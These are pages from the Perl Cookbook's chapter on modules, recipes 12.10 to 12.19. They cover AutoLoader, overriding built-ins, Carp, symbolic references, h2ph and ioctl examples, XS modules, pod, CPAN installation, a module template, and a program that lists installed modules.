The documentation for the standard module SelfLoader, also in Chapter 7 of Programming Perl; Recipe 12.10

Previous: 12.8. Preparing a Module for Distribution | Perl Cookbook | Next: 12.10. Speeding Up Module Loading with Autoloader
12.8. Preparing a Module for Distribution | Book Index | 12.10. Speeding Up Module Loading with Autoloader


Recipe 12.10. Speeding Up Module Loading with Autoloader

Perl CookbookSearch this book

12.10. Speeding Up Module Loading with Autoloader

Problem

You want to use the AutoLoader module.

Solution

The easiest solution is to use the h2xs facility to create a directory and all the files you'll need. Here we assume you have your own directory, ~/perllib/, which contains your personal library modules.

% h2xs -Xn Sample
% cd Sample
% perl Makefile.PL LIB=~/perllib
% (edit Sample.pm)
% make install

Discussion

The AutoLoader addresses the same performance issues as the SelfLoader. It also provides stub functions that get replaced by the real ones the first time they're called. But instead of looking for functions all in the same file, hidden below a __DATA__ marker, the AutoLoader expects to find the real definition for each function in its own file. If your Sample.pm module had two functions, foo and bar, then the AutoLoader would expect to find them in Sample/auto/foo.al and Sample/auto/bar.al, respectively. Modules employing the AutoLoader load faster than those using the SelfLoader, but at the cost of extra files, disk space, and complexity.

This setup sounds complicated. If you were doing it manually, it probably would be. Fortunately, h2xs helps out tremendously here. Besides creating a module directory with templates for your Sample.pm file and other files you'll need, it also generates a Makefile that uses the AutoSplit module to break your module's functions into little files, one function per file. The make install rule installs these so they will be found automatically. All you have to do is put the module functions down below an __END__ line (rather than a __DATA__ line as in SelfLoader) that you'll find has already been created.

As with the SelfLoader, it's easier to develop and test your module without the AutoLoader. Just comment out the __END__ line while developing it.

The same restrictions about the invisibility of file lexicals that apply to modules using the SelfLoader also apply when using the AutoLoader, so using file lexicals to maintain private state doesn't work. If state is becoming that complex and significant issue, consider writing an object module instead of a traditional one.

See Also

The documentation for the standard module AutoLoader, also in Chapter 7 of Programming Perl; h2xs (1); Recipe 12.9

Previous: 12.9. Speeding Module Loading with SelfLoader | Perl Cookbook | Next: 12.11. Overriding Built-In Functions
12.9. Speeding Module Loading with SelfLoader | Book Index | 12.11. Overriding Built-In Functions


Recipe 12.11. Overriding Built-In Functions

Perl CookbookSearch this book

12.11. Overriding Built-In Functions

Problem

You want to replace a standard, built-in function with your own version.

Solution

Import that function from another module into your own namespace.

Discussion

Many (but not all) of Perl's built-in functions may be overridden. This is not something to be attempted lightly, but it is possible. You might do this, for example, if you are running on a platform that doesn't support the function that you'd like to emulate. Or, you might want to add your own wrapper around the built-in.

Not all reserved words have the same status. Those that return a negative number in the C-language keyword() function in the toke.c file in your Perl source kit may be overridden. Keywords that cannot be overridden as of 5.004 are chop, defined, delete, do, dump, each, else, elsif, eval, exists, for, foreach, format, glob, goto, grep, if, keys, last, local, m, map, my, next, no, package, pop, pos, print, printf, prototype, push, q, qq, qw, qx, redo, return, s, scalar, shift, sort, splice, split, study, sub, tie, tied, tr, undef, unless, unshift, untie, until, use, while, and y. The rest can.

A standard Perl module that does this is Cwd, which can overload chdir. Others are the by-name versions of the functions returning lists: File::stat, Net::hostent, Net::netent, Net::protoent, Net::servent, Time::gmtime, Time::localtime, Time::tm, User::grent, and User::pwent. These modules all override built-in functions like stat or getpwnam to return an object that can be accessed using a name, like getpwnam("daemon")->dir. To do this, they have to override the original, list-returning versions of those functions.

Overriding may be done uniquely by importing the function from another package. This import only takes effect in the importing package, not in all possible packages. It's not enough simply to predeclare the function. You have to import it. This is a guard against accidentally redefining built-ins.

Let's say that you'd like to replace the built-in time function, whose answer is in integer seconds, with one that returns a floating point number instead. You could make a FineTime module with an optionally exported time function as follows:

package FineTime;
use strict;
require Exporter;
use vars qw(@ISA @EXPORT_OK);
@ISA = qw(Exporter);
@EXPORT_OK = qw(time);

sub time() { ..... }  # TBA

Then the user who wants to use this augmented version of time would say something like:

use FineTime qw(time);
$start = time();
1 while print time() - $start, "\n";

This code assumes that your system has a function you can stick in the "TBA" definition above. See Recipe 12.14 for strategies that may work on your system.

For overriding of methods and operators, see Chapter 13.

See Also

The section on "Overriding Built-in Functions" in Chapter 5 of Programming Perl and in perlsub (1)

Previous: 12.10. Speeding Up Module Loading with Autoloader | Perl Cookbook | Next: 12.12. Reporting Errors and Warnings Like Built-Ins
12.10. Speeding Up Module Loading with Autoloader | Book Index | 12.12. Reporting Errors and Warnings Like Built-Ins


Recipe 12.12. Reporting Errors and Warnings Like Built-Ins

Perl CookbookSearch this book

12.12. Reporting Errors and Warnings Like Built-Ins

Problem

You want to generate errors and warnings in your modules, but when you use warn or die, the user sees your own filename and line number. You'd like your functions to act like built-ins and report messages from the perspective of the user's code not your own.

Solution

The standard Carp module provides functions to do this. Use carp instead of warn. Use croak (for a short message) and confess (for a long message) instead of die.

Discussion

Like built-ins, some of your module's functions generate warnings or errors if all doesn't go well. Think about sqrt: when you pass it a negative number (and you haven't used the Math::Complex module), an exception is raised, producing a message such as "Can't take sqrt of -3 at /tmp/negroot line 17", where /tmp/negroot is the name of your own program. But if you write your own function that dies, perhaps like this:

sub even_only {
    my $n = shift;
    die "$n is not even" if $n & 1;  # one way to test
    #....
}

then the message will say it's coming from the file your even_only function was itself compiled in, rather than from the file the user was in when they called your function. That's where the Carp module comes in handy. Instead of using die, use croak instead:

use Carp;
sub even_only {
    my $n = shift;
    croak "$n is not even" if $n % 2;  # here's another
    #....
}

If you just want to complain about something, but have the message report where in the user's code the problem occurred, call carp instead of warn. (carp and croak do not share warn's and die's sensitivity to a trailing newline on the message.) For example:

use Carp;
sub even_only {
    my $n = shift;
    if ($n & 1) {         # test whether odd number
        carp "$n is not even, continuing";
        ++$n;
    }
    #....
}

Many built-ins emit warnings only when the -w command-line switch has been used. The $^W variable (which is not meant to be a control character but rather a ^ followed by a W) reflects whether that switch was used. You could choose to grouse only if the user asked for complaints:

carp "$n is not even, continuing" if $^W;

Finally, the Carp module provides a third function: confess. This works just like croak, except that it provides a full stack backtrace as it dies, reporting who called whom and with what arguments.

See Also

The warn and die functions in Chapter 3 of Programming Perl and in perlmod (1); the documentation for the standard Carp module, also in Chapter 7 of Programming Perl; Recipe 19.2; the discussion on __WARN__ and __DIE__ in the section on "Global Special Arrays" in Chapter 2 of Programming Perl, in perlvar (1), and in Recipe 16.15

Previous: 12.11. Overriding Built-In Functions | Perl Cookbook | Next: 12.13. Referring to Packages Indirectly
12.11. Overriding Built-In Functions | Book Index | 12.13. Referring to Packages Indirectly


Recipe 12.13. Referring to Packages Indirectly

Perl CookbookSearch this book

12.13. Referring to Packages Indirectly

Problem

You want to refer to a variable or function in a package unknown until runtime, but syntax like $packname::$varname is illegal.

Solution

Use symbolic references:

{
    no strict 'refs';
    $val  = ${ $packname . "::" . $varname };
    @vals = @{ $packname . "::" . $aryname };
    &{ $packname . "::" . $funcname }("args");
    ($packname . "::" . $funcname) -> ("args");
}

Discussion

A package declaration has meaning at compile time. If you don't know the name of the package or variable until run time, you'll have to resort to symbolic references for direct access to the package symbol table. Assuming you normally run with use strict in effect, you must disable part of it to use symbolic references. Once you've used the no strict 'refs' directive in that block, build up a string with the fully qualified name of the variable or function you're interested in. Then dereference this name as though it were a proper Perl reference.

Prior to version 5 of Perl, programmers were forced to use an eval for this kind of thing:

eval "package $packname; \$'$val = \$$varname"; # set $main'val
die if $@;

As you see, this approach makes quoting difficult. It's also comparatively slow. Fortunately, you never need to do this just to access variables indirectly by name. Symbolic references are a necessary compromise.

Similarly, eval could be used to define functions on the fly. Suppose you wanted to be able to get the base 2 or base 10 logs of numbers:

printf "log2  of 100 is %.2f\n", log2(100);
printf "log10 of 100 is %.2f\n", log10(100);

Perl has only the natural log function. Here's how one could use eval to create these functions at run time. Here we'll create functions named log2 up through log999:

$packname = 'main';
for ($i = 2; $i < 1000; $i++) {
    $logN = log($i);
    eval "sub ${packname}::log$i { log(shift) / $logN }";
    die if $@;
}

Here, at least, you don't need to do that. The following code does the same thing, but instead of compiling a new function 998 times, we compile it only once, as a closure. Then we use symbolic dereferencing of the symbol table to assign the same subroutine reference to many function names:

$packname = 'main';
for ($i = 2; $i < 1000; $i++) {
    my $logN = log($i);
    no strict 'refs';
    *{"${packname}::log$i"} = sub { log(shift) / $logN };
}

When you assign a reference to a typeglob, you create an alias just for the type of that name. That's how the Exporter does its job. The first line in the next code sample manually imports the function name Colors::blue into the current package. The second makes the main::blue function an alias for the Colors::azure function.

*blue       = \&Colors::blue;
*main::blue = \&Colors::azure;

Given the flexibility of typeglob assignments and symbolic references, a full-blown eval "STRING" is nearly always unnecessary, the last resort of the desperate programmer. The only thing worse would be if it weren't available at all.

See Also

The section on "Symbolic References" in Chapter 4 of Programming Perl and in the start of perlsub (1); Recipe 11.4

Previous: 12.12. Reporting Errors and Warnings Like Built-Ins | Perl Cookbook | Next: 12.14. Using h2ph to Translate C #include Files
12.12. Reporting Errors and Warnings Like Built-Ins | Book Index | 12.14. Using h2ph to Translate C #include Files


Recipe 12.14. Using h2ph to Translate C #include Files

Perl CookbookSearch this book

12.14. Using h2ph to Translate C #include Files

Problem

Someone gave you code that generates the bizarre error message:

Can't locate sys/syscall.ph in @INC (did you run h2ph?)
(@INC contains: /usr/lib/perl5/i686-linux/5.00404 /usr/lib/perl5
/usr/lib/perl5/site_perl/i686-linux /usr/lib/perl5/site_perl .)
at some_program line 7.

You want to know what it means and how to fix it.

Solution

Get your system administrator to do this, running as the superuser:

% cd /usr/include; h2ph sys/syscall.h

However, most include files require other include files, which means you should probably just translate them all:

% cd /usr/include; h2ph *.h */*.h

If that reports too many filenames or misses some that are more deeply nested, try this instead:

% cd /usr/include; find . -name '*.h' -print | xargs h2ph

Discussion

A file whose name ends in ".ph" has been created by the h2ph tool, which translates C preprocessor directives from C #include files into Perl. The goal is to allow Perl code to access the same constants as C code. The h2xs tool is a better approach in most cases because it provides compiled C code for your modules, not Perl code simulating C code. However, using h2xs requires a lot more programming savvy (at least, for accessing C code) than h2ph does.

When h2ph's translation process works, it's wonderful. When it doesn't, you're probably out of luck. As system architectures and include files become more complex, h2ph fails more frequently. If you're lucky, the constants you need are already in the Fcntl, Socket, or POSIX modules. The POSIX module implements constants from sys/file.h, sys/errno.h, and sys/wait.h, among others. It also allows fancy tty handling, as described in Recipe 15.8.

So what can you do with these .ph files? Here are a few examples. The first uses the pessimally non-portable syscall function to access your operating system's gettimeofday system call. This implements the FineTime module described in Recipe 12.11.

# file FineTime.pm
package main;
require 'sys/syscall.ph';
die "No SYS_gettimeofday in sys/syscall.ph"
    unless defined &SYS_gettimeofday;

package FineTime;
    use strict;
require Exporter;
use vars qw(@ISA @EXPORT_OK);
@ISA = qw(Exporter);
@EXPORT_OK = qw(time);

sub time() {
    my $tv = pack("LL", ());  # presize buffer to two longs
    syscall(&main::SYS_gettimeofday, $tv, undef) >= 0
        or die "gettimeofday: $!";
    my($seconds, $microseconds) = unpack("LL", $tv);
    return $seconds + ($microseconds / 1_000_000);
}

1;

If you are forced to require an old-style .pl or .ph file, do so from the main package (package main in the preceding code). These old libraries always put their symbols in the current package, and main serves as a reasonable rendezvous point. To use a symbol, use its fully qualified name, as we did with main::SYS_gettimeofday.

The sys/ioctl.ph file, if you can get it to build on your system, is the gateway to your system's idiosyncratic I/O functions through the ioctl function. One such function is the TIOCSTI ioctl, shown in Example 12.1. That abbreviation stands for "terminal I/O control, simulate terminal input." On systems that implement this function, it will push one character into your device stream so that the next time any process reads from that device, it gets the character you put there.

Example 12.1: jam

#!/usr/bin/perl -w
# jam - stuff characters down STDIN's throat
require 'sys/ioctl.ph';
die "no TIOCSTI" unless defined &TIOCSTI;
sub jam {
    local $SIG{TTOU} = "IGNORE"; # "Stopped for tty output"
    local *TTY;  # make local filehandle
    open(TTY, "+</dev/tty")                 or die "no tty: $!";
    for (split(//, $_[0])) {
        ioctl(TTY, &TIOCSTI, $_)            or die "bad TIOCSTI: $!";
    }
    close(TTY);
}
jam("@ARGV\n");

Since sys/ioctl.h translation is so dodgy, you'll probably have to run this C program to get your TIOCSTI value.

% cat > tio.c <<EOF && cc tio.c && a.out
#include <sys/ioctl.h>
main() { printf("%#08x\n", TIOCSTI); }
EOF
0x005412

Another popular use for ioctl is for figuring out your current window size in rows and columns, and maybe even in pixels. This is shown in Example 12.2.

Example 12.2: winsz

#!/usr/bin/perl
# winsz - find x and y for chars and pixels
require 'sys/ioctl.ph';
die "no TIOCGWINSZ " unless defined &TIOCGWINSZ;
open(TTY, "+</dev/tty")                     or die "No tty: $!";
unless (ioctl(TTY, &TIOCGWINSZ, $winsize='')) {
    die sprintf "$0: ioctl TIOCGWINSZ (%08x: $!)\n", &TIOCGWINSZ;
}
($row, $col, $xpixel, $ypixel) = unpack('S4', $winsize);
print "(row,col) = ($row,$col)";
print "  (xpixel,ypixel) = ($xpixel,$ypixel)" if $xpixel || $ypixel;
print "\n";

As you see, as soon as you start playing with .ph files, unpacking binary data, and calling syscall and ioctl, you need to know about the C APIs that Perl normally hides. The only other thing that requires this much C knowledge is using the XS interface. Some suggest you should resist the temptation to descend into such unportable convolutions. Others feel that the demands put upon the trenchworkers are such that they must be forgiven these desperate measures.

Fortunately, less fragile mechanisms are increasingly available. CPAN modules for most of these functions now exist, which should theoretically prove more robust than sourcing .ph files.

See Also

h2ph (1); the instructions on running h2ph in the INSTALL file from the perl source distribution; the syscall and ioctl functions in Chapter 3 of Programming Perl and in perlmod (1); Recipe 12.15

Previous: 12.13. Referring to Packages Indirectly | Perl Cookbook | Next: 12.15. Using h2xs to Make a Module with C Code
12.13. Referring to Packages Indirectly | Book Index | 12.15. Using h2xs to Make a Module with C Code


Recipe 12.15. Using h2xs to Make a Module with C Code

Perl CookbookSearch this book

12.15. Using h2xs to Make a Module with C Code

Problem

You'd like to access your system's unique C functions from Perl.

Solution

Use the h2xs tool to generate the necessary template files, fill the files in appropriately, and then type:

% perl Makefile.PL
% make

Discussion

A Perl module need not be written solely in Perl. As with any other module, first pick a module name and use h2xs on it. We'll make a FineTime::time function with the same semantics as in the previous recipe, but this time around, we'll implement it using real C.

First, we run the following command:

% h2xs -cn FineTime

If we had a .h file with function prototype declarations, we could include that, but because we're writing this one from scratch, we'll use the -c flag to omit building code to translate any #define symbols. The -n flag says to create a module directory named FineTime/, which will have the following files:

Manifest | List of files in the distribution
Changes | change log
Makefile.PL | a meta-makefile
FineTime.pm | the Perl parts
FineTime.xs | the soon-to-be C parts
test.pl | a test driver

Before we can type make, we'll have to generate a Makefile based on our system's configuration using the Makefile.PL template. Here's how to do that:

% perl Makefile.PL

If the XS code calls library code that isn't in the normal set of libraries Perl links from, add one more line to Makefile.PL first. For example, if we wanted to link against the librpm.a library, which lives in the /usr/redhat/lib directory, we'd change the line of Makefile.PL that reads:

'LIBS'      => [''],   # e.g., '-lm'

so that it says:

'LIBS'      => ['-L/usr/redhat/lib -lrpm'],

If the module is to be installed somewhere other than the local site_lib directory, specify that on the command line:

% perl Makefile.PL LIB=~/perllib

Finally, edit the FineTime.pm and FineTime.xs files. In the first case, most of the work has been done for us. We just set up the export list with the function to be exported. This time we put it in @EXPORT_OK so that if the user wants the function, they must ask for it by name. Here's FineTime.pm:

package FineTime;
use strict;
use vars qw($VERSION @ISA @EXPORT_OK);
require Exporter;
require DynaLoader;
@ISA = qw(Exporter DynaLoader);
@EXPORT_OK = qw(time);
$VERSION = '0.01';
bootstrap FineTime $VERSION;
1;

The make process will automatically translate FineTime.xs into a FineTime.c file and eventually into a shared library, probably called FineTime.so on most platforms. The utility that does this translation is xsubpp, which is described in its own manpage and perlxstut (1). The build will call xsubpp automatically.

Besides a strong C background, you also need to understand the C-to-Perl interface, called XS (external subroutine). The details and nuances of XS are beyond the scope of this book. The automatically generated FineTime.xs had the Perl-specific include files in it, as well as the MODULE declaration. We've added some extra includes and written the code for the new time function. Although this doesn't look entirely like C, it will, once xsubpp gets done with it.

Here's the FineTime.xs we used:

#include <unistd.h>
#include <sys/time.h>
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"

MODULE = FineTime           PACKAGE = FineTime

double
time()
    CODE:
        struct timeval tv;
        gettimeofday(&tv,0);
        RETVAL = tv.tv_sec + ((double) tv.tv_usec) / 1000000;
    OUTPUT:
        RETVAL

Defining a function by the same name as one from the standard C library won't cause a problem when it's compiled because that's not its real name. That's just what Perl calls it. The C linker will see it as XS_FineTime_time, so no conflict exists.

Here's what happened with make install (with some edits):

% make install
mkdir ./blib/lib/auto/FineTime
cp FineTime.pm ./blib/lib/FineTime.pm
/usr/local/bin/perl -I/usr/lib/perl5/i686-linux/5.00403  -I/usr/lib/perl5
/usr/lib/perl5/ExtUtils/xsubpp -typemap
    /usr/lib/perl5/ExtUtils/typemap FineTime.xs
FineTime.tc && mv FineTime.tc FineTime.ccc -c -Dbool=char -DHAS_BOOL
    -O2-DVERSION=\"0.01\" -DXS_VERSION=\"0.01\" -fpic
    -I/usr/lib/perl5/i686-linux/5.00403/CORE
FineTime.cRunning Mkbootstrap for FineTime ()
chmod 644 FineTime.bs
LD_RUN_PATH="" cc -o blib/arch/auto/FineTime/FineTime.so
    -shared -L/usr/local/lib FineTime.o
chmod 755 blib/arch/auto/FineTime/FineTime.so
cp FineTime.bs ./blib/arch/auto/FineTime/FineTime.bs
chmod 644 blib/arch/auto/FineTime/FineTime.bs
Installing /home/tchrist/perllib/i686-linux/./auto/FineTime/FineTime.so
Installing /home/tchrist/perllib/i686-linux/./auto/FineTime/FineTime.bs
Installing /home/tchrist/perllib/./FineTime.pm
Writing /home/tchrist/perllib/i686-linux/auto/FineTime/.packlist
Appending installation info to /home/tchrist/perllib/i686-linux/perllocal.pod

Once this is all done, we'll be able to type something like this into the shell:

% perl -I ~/perllib -MFineTime=time -le '1 while print time()' | head
888177070.090978
888177070.09132
888177070.091389
888177070.091453
888177070.091515
888177070.091577
888177070.091639
888177070.0917
888177070.091763
888177070.091864

See Also

Chapters 18 through 20 in Advanced Perl Programming; perlxstut (1) and perlxs (1) to learn how to call C from Perl; perlcall (1) and perlguts (1) to understand the internal Perl API; perlembed (1) to learn how to call Perl from C; the the documentation for the standard ExtUtils::MakeMaker module, h2ph (1) and xsubpp (1); http://www.perl.com/CPAN/authors/Dean_Roehrich/, which contains Dean's comprehensive XS cookbook that includes directions on interface with C++

Previous: 12.14. Using h2ph to Translate C #include Files | Perl Cookbook | Next: 12.16. Documenting Your Module with Pod
12.14. Using h2ph to Translate C #include Files | Book Index | 12.16. Documenting Your Module with Pod


Recipe 12.16. Documenting Your Module with Pod

Perl CookbookSearch this book

12.16. Documenting Your Module with Pod

Problem

You need to document your module, but don't know what format to use.

Solution

Embed your documentation in the your module file using pod format.

Discussion

Pod stands for plain old documentation. It's documentation embedded in your program using a very simple markup format. Programmers are notorious for writing the code first and the documentation never, so pod was designed to make writing documentation so easy that anyone can and will do so. Sometimes this even works.

When Perl is parsing your source code, a line starting with an equal sign (where a new statement is expected) says to ignore all text until it finds a line beginning with =cut, after which it will start parsing code again. This lets you mix code and documentation throughout your Perl program or module file. Since it's mostly plain text, type in your documentation as literal text, or nearly so. The translators try to be clever and make output-specific decisions so the programmer doesn't have to specifically format variable names, function calls, etc.

Along with Perl are shipped several translators that filter generic pod format into specific output styles. These include pod2man to change your pods into troff for use with the man program or for phototypesetting and printing; pod2html for creating web pages (which works even on non-Unix systems); and pod2text for plain ASCII. Other translators, like pod2ipf, pod2fm, pod2texi, pod2latex, and pod2ps, may also be available or can be found on CPAN.

Many books are written using proprietary word processors with limited scripting capabilities. Not this one! It was written in pod format using common text editors (vi for Tom, emacs for Nat) before being translated into troff for printing during technical review using a special translator written by Larry called pod2ora. The final book was produced by converting the pod source files to FrameMaker.

Although formally documented in perlpod (1), pod is probably easiest to learn by reading existing module files. If you started making your module using h2xs, then you already have the sample pods right there. The Makefile knows to convert these into man format and install those manpages so others can read them. Alternatively, the perldoc program can translate pods on the fly using pod2text.

Indented paragraphs will be left verbatim. Other paragraphs will be reformatted to fit the page. Only two kinds of markups are used in pod: paragraphs beginning with an equal sign and one or more words, and interior sequences starting with a single letter followed by text enclosed in angle brackets. Paragraph tags are for headers, list enumeration, and per-translator escapes. Angle bracket sequences are mainly used for font changes, such as selecting bold, italic, or constant-width fonts. Here's an example of an =head2 pod directive and various bracket escapes for font changes:

=head2 Discussion

If we had a I<.h> file with function prototype declarations, we
could include that, but since we're writing this one from scratch,
we'll use the B<-c> flag to omit building code to translate any
C<#define> symbols. The B<-n> flag says to create a module directory
named I<FineTime/>, which will have the following files.

The =for escape introduces specific code that is only for a particular output filter. This book, for example, written mostly in pod, includes calls to the standard troff tools eqn, tbl, and pic. Here's an example of embedded eqn. Only translators that produce troff will heed this paragraph.

=for troff
.EQ
log sub n (x) = { {log sub e (x)} over {log sub e (n)} }
.EN

Pod can also create multiline comments. In C, the sequence /* .... */ can comment out many lines of text all at once - there's no need to put a marker on each line. Since Perl ignores pod directives, use these for block commenting. The trick is to find a directive that the pod filters ignore. You could specify that a block is "for later" or "for nobody":

=for later
next if 1 .. ?^$?;
s/^(.)/>$1/;
s/(.{73})........*/$1<SNIP>/;

=cut back to perl

or you could use a =begin and =end pair:

=begin comment

if (!open(FILE, $file)) {
    unless ($opt_q) {
        warn "$me: $file: $!\n";
        $Errors++;
    }
    next FILE;
}

$total = 0;
$matches = 0;

=end comment

See Also

The section on "PODs: Embedded Documentation" in perlsyn (1), as well as perlpod (1), pod2man (1), pod2html (1), and pod2text (1)

Previous: 12.15. Using h2xs to Make a Module with C Code | Perl Cookbook | Next: 12.17. Building and Installing a CPAN Module
12.15. Using h2xs to Make a Module with C Code | Book Index | 12.17. Building and Installing a CPAN Module


Recipe 12.17. Building and Installing a CPAN Module

Perl CookbookSearch this book

12.17. Building and Installing a CPAN Module

Problem

You want to install a module file that you downloaded from CPAN over the Net or obtained from a CD.

Solution

Type the following commands into your shell. It will build and install version 4.54 of the Some::Module package.

% gunzip Some-Module-4.54.tar.gz
% tar xf Some-Module-4.54
% cd Some-Module-4.54
% perl Makefile.PL
% make
% make test
% make install

Discussion

Like most programs on the Net, Perl modules are available in source kits stored as tar archives in GNU zip format.[2] If tar warns of "Directory checksum errors", then you downloaded the binary file in text format, mutilating it.

[2] This is not the same as the zip format common on Windows machines, but newer version of Windows winzip will read it. Prior to Perl 5.005, you'll need the standard port of Perl for Win32, not the ActiveState port, to build CPAN modules. Free versions of tar and gnutar are also available for Microsoft systems.

You'll probably have to become a privileged user with adequate permissions to install the module in the system directories. Standard modules are installed in a directory like /usr/lib/perl5 while third-party modules are installed in /usr/lib/perl5/site_ perl.

Here's a sample run, showing the installation of the MD5 module:

% gunzip MD5-1.7.tar.gz
% tar xf MD5-1.7.tar
% cd MD5-1.7
% perl Makefile.PL
Checking if your kit is complete...
Looks good
Writing Makefile for MD5
% make
mkdir ./blib
mkdir ./blib/lib
cp MD5.pm ./blib/lib/MD5.pm
AutoSplitting MD5 (./blib/lib/auto/MD5)
/usr/bin/perl -I/usr/local/lib/perl5/i386 ...
...
cp MD5.bs ./blib/arch/auto/MD5/MD5.bs
chmod 644 ./blib/arch/auto/MD5/MD5.bsmkdir ./blib/man3
Manifying ./blib/man3/MD5.3
% make test
PERL_DL_NONLAZY=1 /usr/bin/perl -I./blib/arch -I./blib/lib
-I/usr/local/lib/perl5/i386-freebsd/5.00404 -I/usr/local/lib/perl5 test.pl
1..14
ok 1
ok 2
...
ok 13
ok 14
% sudo make install
Password:
Installing /usr/local/lib/perl5/site_perl/i386-freebsd/./auto/MD5/
    MD5.so
Installing /usr/local/lib/perl5/site_perl/i386-freebsd/./auto/MD5/
    MD5.bs
Installing /usr/local/lib/perl5/site_perl/./auto/MD5/autosplit.ix
Installing /usr/local/lib/perl5/site_perl/./MD5.pm
Installing /usr/local/lib/perl5/man/man3/./MD5.3
Writing /usr/local/lib/perl5/site_perl/i386-freebsd/auto/MD5/.packlist
Appending installation info to /usr/local/lib/perl5/i386-freebsd/
5.00404/perllocal.pod

If your system manager isn't around or can't be prevailed upon to run the installation, don't worry. When you use Perl to generate the Makefile from template Makefile.PL, you can specify alternate installation directories.

# if you just want the modules installed in your own directory
% perl Makefile.PL LIB=~/lib

# if you have your own a complete distribution
% perl Makefile.PL PREFIX=~/perl5-private

See Also

The documentation for the standard ExtUtils::MakeMaker module, also in Chapter 7 of Programming Perl; the INSTALL file in the Perl source distribution for information on building a staticly linked perl binary.

Previous: 12.16. Documenting Your Module with Pod | Perl Cookbook | Next: 12.18. Example: Module Template
12.16. Documenting Your Module with Pod | Book Index | 12.18. Example: Module Template


Recipe 12.18. Example: Module Template

Perl CookbookSearch this book

12.18. Example: Module Template

Following is the skeleton of a module. If you want to write a module of your own, you can copy this and customize it.

package Some::Module;  # must live in Some/Module.pm

use strict;

require Exporter;
use vars       qw($VERSION @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS);

# set the version for version checking
$VERSION     = 0.01;

@ISA         = qw(Exporter);
@EXPORT      = qw(&func1 &func2 &func4);
%EXPORT_TAGS = ( );     # eg: TAG => [ qw!name1 name2! ],

# your exported package globals go here,
# as well as any optionally exported functions
@EXPORT_OK   = qw($Var1 %Hashit &func3);

use vars qw($Var1 %Hashit);
# non-exported package globals go here
use vars      qw(@more $stuff);

# initialize package globals, first exported ones
$Var1   = '';
%Hashit = ();

# then the others (which are still accessible as $Some::Module::stuff)
$stuff  = '';
@more   = ();

# all file-scoped lexicals must be created before
# the functions below that use them.

# file-private lexicals go here
my $priv_var    = '';
my %secret_hash = ();

# here's a file-private function as a closure,
# callable as &$priv_func.
my $priv_func = sub {
    # stuff goes here.
};

# make all your functions, whether exported or not;
# remember to put something interesting in the {} stubs
sub func1      { .... }    # no prototype
sub func2()    { .... }    # proto'd void
sub func3($$)  { .... }    # proto'd to 2 scalars

# this one isn't auto-exported, but could be called!
sub func4(\%)  { .... }    # proto'd to 1 hash ref

END { }       # module clean-up code here (global destructor)

1;

Previous: 12.17. Building and Installing a CPAN Module | Perl Cookbook | Next: 12.19. Program: Finding Versions and Descriptions of Installed Modules
12.17. Building and Installing a CPAN Module | Book Index | 12.19. Program: Finding Versions and Descriptions of Installed Modules


Recipe 12.19. Program: Finding Versions and Descriptions of Installed Modules

Perl CookbookSearch this book

12.19. Program: Finding Versions and Descriptions of Installed Modules

Perl is shipped with many modules. Even more can be found on CPAN. The following program prints out the names, versions, and descriptions of all modules installed on your system. It uses standard modules like File::Find and includes several techniques described in this chapter.

To run it, type:

% pmdesc

It prints a list of modules and their descriptions:

FileHandle (2.00) - supply object methods for filehandles
IO::File (1.06021) - supply object methods for filehandles
IO::Select (1.10) - OO interface to the select system call
IO::Socket (1.1603) - Object interface to socket communications
...

With the -v flag, pmdesc provides the names of the directories the files are in:

% pmdesc -v

<<<Modules from /usr/lib/perl5/i686-linux/5.00404>>>

FileHandle (2.00) - supply object methods for filehandles
    ...

The -w flag warns if a module doesn't come with a pod description, and -s sorts the module list within each directory.

The program is given in Example 12.3.

Example 12.3: pmdesc

#!/usr/bin/perl -w
# pmdesc - describe pm files
# tchrist@perl.com

use strict;
use File::Find      qw(find);
use Getopt::Std     qw(getopts);
use Carp;

use vars (
    q!$opt_v!,              # give debug info
    q!$opt_w!,              # warn about missing descs on modules
    q!$opt_a!,              # include relative paths
    q!$opt_s!,              # sort output within each directory
);

$| = 1;

getopts('wvas')             or die "bad usage";

@ARGV = @INC unless @ARGV;

# Globals.  wish I didn't really have to do this.
use vars (
    q!$Start_Dir!,          # The top directory find was called with
    q!%Future!,             # topdirs find will handle later
);

my $Module;

# install an output filter to sort my module list, if wanted.
if ($opt_s) {
    if (open(ME, "-|")) {
        $/ = '';
        while (<ME>) {
            chomp;
            print join("\n", sort split /\n/), "\n";
        }
        exit;
    }
}

MAIN: {
    my %visited;
    my ($dev,$ino);

    @Future{@ARGV} = (1) x @ARGV;

    foreach $Start_Dir (@ARGV) {
        delete $Future{$Start_Dir};

        print "\n<<Modules from $Start_Dir>>\n\n"
            if $opt_v;

        next unless ($dev,$ino) = stat($Start_Dir);
        next if $visited{$dev,$ino}++;
        next unless $opt_a || $Start_Dir =~ m!^/!;

        find(\&wanted, $Start_Dir);
    }
    exit;
}

# calculate module name from file and directory
sub modname {
    local $_ = $File::Find::name;

    if (index($_, $Start_Dir . '/') == 0) {
        substr($_, 0, 1+length($Start_Dir)) = '';
    }

    s { /              }    {::}gx;
    s { \.p(m|od)$     }    {}x;

    return $_;
}

# decide if this is a module we want
sub wanted {
    if ( $Future{$File::Find::name} ) {
        warn "\t(Skipping $File::Find::name, qui venit in futuro.)\n"
            if 0 and $opt_v;
        $File::Find::prune = 1;
        return;
    }
    return unless /\.pm$/ && -f;
    $Module = &modname;
    # skip obnoxious modules
    if ($Module =~ /^CPAN(\Z|::)/) {
        warn("$Module -- skipping because it misbehaves\n");
        return;
    }

    my    $file = $_;

    unless (open(POD, "< $file")) {
        warn "\tcannot open $file: $!";
            # if $opt_w;
        return 0;
    }

    $: = " -:";

    local $/ = '';
    local $_;
    while (<POD>) {
        if (/=head\d\s+NAME/) {
            chomp($_ = <POD>);
            s/^.*?-\s+//s;
            s/\n/ /g;
            #write;
            my $v;
            if (defined ($v = getversion($Module))) {
                print "$Module ($v) ";
            } else {
                print "$Module ";
            }
            print "- $_\n";
            return 1;
        }
    }

    warn "\t(MISSING DESC FOR $File::Find::name)\n"
        if $opt_w;

    return 0;
}

# run Perl to load the module and print its verson number, redirecting
# errors to /dev/null
sub getversion {
    my $mod = shift;

    my $vers = `$^X -m$mod -e 'print \$${mod}::VERSION' 2>/dev/null`;
    $vers =~ s/^\s*(.*?)\s*$/$1/; # remove stray whitespace
    return ($vers || undef);
}

format  =
^<<<<<<<<<<<<<<<<<~~^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$Module,        $_
.

